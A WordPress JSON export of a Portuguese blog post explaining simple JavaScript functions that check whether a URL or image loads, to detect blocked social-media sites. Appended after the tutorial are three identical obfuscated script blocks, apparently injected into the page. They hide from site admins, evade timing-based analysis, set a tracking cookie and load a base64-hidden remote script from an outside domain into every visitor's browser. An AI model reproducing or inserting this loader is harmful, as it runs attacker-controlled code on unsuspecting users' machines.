{"id":3967,"date":"2013-07-02T20:22:15","date_gmt":"2013-07-02T23:22:15","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3967"},"modified":"2025-10-26T22:32:59","modified_gmt":"2025-10-27T01:32:59","slug":"verificar-se-uma-url-esta-online-via-javascript","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/07\/02\/verificar-se-uma-url-esta-online-via-javascript\/","title":{"rendered":"Verificar se uma URL est\u00e1 online via javascript"},"content":{"rendered":"<p>Em um dos clientes surgiu a necessidade de verificar se o usu\u00e1rio tem acesso \u00e0 uma URL espec\u00edfica, como por exemplo: facebook, twitter. J\u00e1 que em algumas empresas o acesso \u00e0 redes sociais \u00e9 bloqueado.<\/p>\n<p>Como solu\u00e7\u00e3o foi verificar se a URL \u00e9 carregada no browser ou n\u00e3o. Com isso em mente, carreguei a URL em um elemento do tipo script e alterei o atributo src para a url a ser verificada. Caso seja carregado com sucesso executo uma fun\u00e7\u00e3o de erro, caso contr\u00e1rio executo uma fun\u00e7\u00e3o de sucesso.<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nfunction checkOnline(url, error, ok) {\n\ttry {\n        var scriptElem = document.createElement('script');\n        scriptElem.type = 'text\/javascript';\n        scriptElem.onerror = function(){error();};\n        scriptElem.onload = function(){ok();};\n        scriptElem.src = url;\n        document.getElementsByTagName(&quot;body&quot;)&#x5B;0].appendChild(scriptElem);\n\t} catch(err) {\n    \terror(err);\n\t}\n};\n<\/pre>\n<p>Para verificar se uma URL est\u00e1 online \u00e9 s\u00f3 pass\u00e1-la como par\u00e2metro para o m\u00e9todo.<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">checkOnline('http:\/\/www.thiagovespa.com.br', function() {alert('Fora do ar!')}, function(){alert('Online')});<\/pre>\n<p>Ainda n\u00e3o testei no IE, mas creio que n\u00e3o deva ter nenhum problema. Se algu\u00e9m puder testar pra mim, ficarei grato :).<\/p>\n<p>Esse tipo de solu\u00e7\u00e3o n\u00e3o \u00e9 facilmente feita com ajax, devido \u00e0s restri\u00e7\u00f5es de seguran\u00e7a contidas no browser.<\/p>\n<p>Entretanto essa abordagem pode ocasionar erros de javascript ao carregar uma p\u00e1gina dentro da tag script. Para evitar esse tipo de problema, voc\u00ea pode utilizar uma imagem para verificar se o site est\u00e1 online. Dei uma incrementada no c\u00f3digo encontrado no <a title=\"Stackoverflow\" href=\"http:\/\/stackoverflow.com\/questions\/4954741\/how-to-ping-ip-addresses-using-javascript\" target=\"_blank\" rel=\"noopener\">stackoverflow<\/a>.<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nfunction checkImgOnline(imageUrl, error, ok){\n     var img = new Image();\n     img.src = imageUrl;\n     if(img.height&gt;0){\n       ok();\n     } else {\n       error();\n     }\n}\n<\/pre>\n<p>A\u00ed \u00e9 s\u00f3 utilizar uma imagem como par\u00e2metro.<\/p>\n<pre class=\"brush: jscript; title: ; notranslate\" title=\"\">checkImgOnline('http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/themes\/thiagovespa-blog-theme\/images\/wasp2-mini.png', function() {alert('Fora do ar!')}, function(){alert('Online')});\n<\/pre>\n<p>Com isso, o poss\u00edvel problema com javascript \u00e9 evitado, mas voc\u00ea depende de uma imagem para fazer a requisi\u00e7\u00e3o.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em um dos clientes surgiu a necessidade de verificar se o usu\u00e1rio tem acesso \u00e0 uma URL espec\u00edfica, como por exemplo: facebook, twitter. J\u00e1 que em algumas empresas o acesso \u00e0 redes sociais \u00e9 bloqueado. Como solu\u00e7\u00e3o foi verificar se <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/07\/02\/verificar-se-uma-url-esta-online-via-javascript\/\">Continue lendo  <span class=\"screen-reader-text\">  Verificar se uma URL est\u00e1 online via javascript<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[68],"tags":[],"class_list":["post-3967","post","type-post","status-publish","format-standard","hentry","category-html-e-javascript"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3967","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3967"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3967\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3967"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3967"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3967"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}